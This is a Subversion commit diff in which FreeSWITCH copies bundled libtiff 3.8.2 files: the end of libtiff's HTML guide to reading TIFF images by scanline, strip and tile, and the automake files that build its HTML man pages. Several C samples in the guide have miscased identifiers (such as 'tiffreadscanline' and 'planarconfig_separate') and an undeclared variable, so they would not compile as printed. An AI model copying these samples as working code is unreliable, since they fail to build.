+    a decoded scanline, as returned by <tt>TIFFReadScanline</tt>.
+    Note however that if the file had been create with samples
+    written in separate planes, then the above code would only
+    read data that contained the first sample of each pixel;
+    to handle either case one might use the following instead:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 imagelength;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 row;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &amp;imagelength);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_PLANARCONFIG, &amp;config);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(TIFFScanlineSize(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (config == PLANARCONFIG_CONTIG) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (row = 0; row &lt; imagelength; row++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadscanline(tif, buf, row);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else if (config == planarconfig_separate) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint16 s, nsamples;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffgetfield(tif, tifftag_samplesperpixel, &amp;nsamples);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (s = 0; s &lt; nsamples; s++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (row = 0; row &lt; imagelength; row++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadscanline(tif, buf, row, s);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tifffree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffclose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <p>
+    Beware however that if the following code were used instead to
+    read data in the case <tt>PLANARCONFIG_SEPARATE</tt>,...
+  </p>
+  <p style="margin-left: 40px">
+    <tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (row = 0; row &lt; imagelength; row++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (s = 0; s &lt; nsamples; s++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadscanline(tif, buf, row, s);</tt>
+  </p>
+  <p>
+    ...then problems would arise if <tt>RowsPerStrip</tt> was not one
+    because the order in which scanlines are requested would require
+    random access to data within strips (something that is not supported
+    by the library when strips are compressed).
+  </p>
+  <hr>
+  <h2 id="strips">Strip-oriented Image I/O</h2>
+  <p>
+    The strip-oriented interfaces provided by the library provide
+    access to entire strips of data.  Unlike the scanline-oriented
+    calls, data can be read or written compressed or uncompressed.
+    Accessing data at a strip (or tile) level is often desirable
+    because there are no complications with regard to random access
+    to data within strips.
+  </p>
+  <p>
+    A simple example of reading an image by strips is:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tstrip_t strip;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(TIFFStripSize(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (strip = 0; strip &lt; tiffnumberofstrips(tif); strip++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadencodedstrip(tif, strip, buf, (tsize_t) -1);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tifffree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffclose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <p>
+    Notice how a strip size of <tt>-1</tt> is used; <tt>TIFFReadEncodedStrip</tt>
+    will calculate the appropriate size in this case.
+  </p>
+  <p>
+    The above code reads strips in the order in which the
+    data is physically stored in the file.  If multiple samples
+    are present and data is stored with <tt>PLANARCONFIG_SEPARATE</tt>
+    then all the strips of data holding the first sample will be
+    read, followed by strips for the second sample, etc.
+  </p>
+  <p>
+    Finally, note that the last strip of data in an image may have fewer
+    rows in it than specified by the <tt>RowsPerStrip</tt> tag.  A
+    reader should not assume that each decoded strip contains a full
+    set of rows in it.
+  </p>
+  <p>
+    The following is an example of how to read raw strips of data from
+    a file:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tstrip_t strip;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32* bc;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 stripsize;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_STRIPBYTECOUNTS, &amp;bc);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stripsize = bc[0];<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(stripsize);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (strip = 0; strip &lt; tiffnumberofstrips(tif); strip++) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bc[strip] &gt; stripsize) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFrealloc(buf, bc[strip]);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stripsize = bc[strip];<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFReadRawStrip(tif, strip, buf, bc[strip]);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_TIFFfree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFClose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <p>
+    As above the strips are read in the order in which they are
+    physically stored in the file; this may be different from the
+    logical ordering expected by an application.
+  </p>
+  <hr>
+  <h2 id="tiles">Tile-oriented Image I/O</h2>
+  <p>
+    Tiles of data may be read and written in a manner similar to strips.
+    With this interface, an image is
+    broken up into a set of rectangular areas that may have dimensions
+    less than the image width and height.  All the tiles
+    in an image have the same size, and the tile width and length must each
+    be a multiple of 16 pixels.  Tiles are ordered left-to-right and
+    top-to-bottom in an image.  As for scanlines, samples can be packed
+    contiguously or separately.  When separated, all the tiles for a sample
+    are colocated in the file.  That is, all the tiles for sample 0 appear
+    before the tiles for sample 1, etc.
+  </p>
+  <p>
+    Tiles and strips may also be extended in a z dimension to form
+    volumes.  Data volumes are organized as "slices".  That is, all the
+    data for a slice is colocated.  Volumes whose data is organized in
+    tiles can also have a tile depth so that data can be organized in
+    cubes.
+  </p>
+  <p>
+    There are actually two interfaces for tiles.
+    One interface is similar to scanlines,  to read a tiled image,
+    code of the following sort might be used:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 imageWidth, imageLength;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 tileWidth, tileLength;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32 x, y;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &amp;imageWidth);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &amp;imageLength);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_TILEWIDTH, &amp;tileWidth);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TIFFGetField(tif, TIFFTAG_TILELENGTH, &amp;tileLength);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(TIFFTileSize(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (y = 0; y &lt; imagelength; y += tilelength)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (x = 0; x &lt; imagewidth; x += tilewidth)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadtile(tif, buf, x, y, 0);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tifffree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffclose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <p>
+    (once again, we assume samples are packed contiguously.)
+  </p>
+  <p>
+    Alternatively a direct interface to the low-level data is provided
+    a la strips.  Tiles can be read with
+    <tt>TIFFReadEncodedTile</tt> or <tt>TIFFReadRawTile</tt>,
+    and written with <tt>TIFFWriteEncodedTile</tt> or
+    <tt>TIFFWriteRawTile</tt>. For example, to read all the tiles in an image:
+  </p>
+  <p style="margin-left: 40px">
+    <tt>#include "tiffio.h"<br>
+    main()<br>
+    {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;TIFF* tif = TIFFOpen("myfile.tif", "r");<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;if (tif) {<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tdata_t buf;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ttile_t tile;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = _TIFFmalloc(TIFFTileSize(tif));<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (tile = 0; tile &lt; tiffnumberoftiles(tif); tile++)<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffreadencodedtile(tif, tile, buf, (tsize_t) -1);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tifffree(buf);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiffclose(tif);<br>
+    &nbsp;&nbsp;&nbsp;&nbsp;}<br>
+    }</tt>
+  </p>
+  <hr>
+  <h2 id="other">Other Stuff</h2>
+  <p>
+    Some other stuff will almost certainly go here...
+  </p>
+  <hr>
+  <p>
+    Last updated: $Date: 2005/12/28 06:53:18 $
+  </p>
+</body>
+</html>

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/html/man


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,118 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+docdir = $(LIBTIFF_DOCDIR)/html/man
+MANSRCDIR = $(top_srcdir)/man
+HTMLMANDIR = $(top_srcdir)/html/man
+
+GROFF = groff -Thtml -mandoc
+ECHO = echo
+
+indexfile = index.html
+docfiles = \
+	libtiff.3tiff.html \
+	TIFFbuffer.3tiff.html \
+	TIFFClose.3tiff.html \
+	TIFFcodec.3tiff.html \
+	TIFFcolor.3tiff.html \
+	TIFFDataWidth.3tiff.html \
+	TIFFError.3tiff.html \
+	TIFFFlush.3tiff.html \
+	TIFFGetField.3tiff.html \
+	TIFFmemory.3tiff.html \
+	TIFFOpen.3tiff.html \
+	TIFFPrintDirectory.3tiff.html \
+	TIFFquery.3tiff.html \
+	TIFFReadDirectory.3tiff.html \
+	TIFFReadEncodedStrip.3tiff.html \
+	TIFFReadEncodedTile.3tiff.html \
+	TIFFReadRawStrip.3tiff.html \
+	TIFFReadRawTile.3tiff.html \
+	TIFFReadRGBAImage.3tiff.html \
+	TIFFReadRGBAStrip.3tiff.html \
+	TIFFReadRGBATile.3tiff.html \
+	TIFFReadScanline.3tiff.html \
+	TIFFReadTile.3tiff.html \
+	TIFFRGBAImage.3tiff.html \
+	TIFFSetDirectory.3tiff.html \
+	TIFFSetField.3tiff.html \
+	TIFFsize.3tiff.html \
+	TIFFstrip.3tiff.html \
+	TIFFswab.3tiff.html \
+	TIFFtile.3tiff.html \
+	TIFFWarning.3tiff.html \
+	TIFFWriteDirectory.3tiff.html \
+	TIFFWriteEncodedStrip.3tiff.html \
+	TIFFWriteEncodedTile.3tiff.html \
+	TIFFWriteRawStrip.3tiff.html \
+	TIFFWriteRawTile.3tiff.html \
+	TIFFWriteScanline.3tiff.html \
+	TIFFWriteTile.3tiff.html \
+	fax2ps.1.html \
+	fax2tiff.1.html \
+	gif2tiff.1.html \
+	pal2rgb.1.html \
+	ppm2tiff.1.html \
+	ras2tiff.1.html \
+	raw2tiff.1.html \
+	rgb2ycbcr.1.html \
+	sgi2tiff.1.html \
+	thumbnail.1.html \
+	tiff2bw.1.html \
+	tiff2pdf.1.html \
+	tiff2ps.1.html \
+	tiff2rgba.1.html \
+	tiffcmp.1.html \
+	tiffcp.1.html \
+	tiffdither.1.html \
+	tiffdump.1.html \
+	tiffgt.1.html \
+	tiffinfo.1.html \
+	tiffmedian.1.html \
+	tiffset.1.html \
+	tiffsplit.1.html \
+	tiffsv.1.html
+
+dist_doc_DATA = $(indexfile) $(docfiles)
+
+INDEXSTART = '<HTML><HEAD><TITLE>Libtiff HTML manpage index</TITLE></HEAD><BODY BGCOLOR=white><ul><H2>Man Pages</h2><p>'
+INDEXEND = '</ul></BODY></HTML>'
+
+.PHONY: index
+index: $(docfiles)
+	${ECHO} ${INDEXSTART} > $(indexfile)
+	for i in $^; do							\
+		${ECHO} '<li><A HREF='$$i'>'$$i'</a>' >> $(indexfile);  \
+	done
+	${ECHO} ${INDEXEND} >> $(indexfile)
+
+manpages = $(docfiles:.html=)
+
+.PHONY: htmldoc
+htmldoc: index
+	for i in $(manpages); do					\
+		${GROFF} $(MANSRCDIR)/$$i > $(HTMLMANDIR)/$$i.html;	\
+	done
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,504 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = html/man
+DIST_COMMON = $(dist_doc_DATA) $(srcdir)/Makefile.am \
+	$(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+am__vpath_adj = case $$p in \
+    $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+    *) f=$$p;; \
+  esac;
+am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
+am__installdirs = "$(DESTDIR)$(docdir)"
+dist_docDATA_INSTALL = $(INSTALL_DATA)
+DATA = $(dist_doc_DATA)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
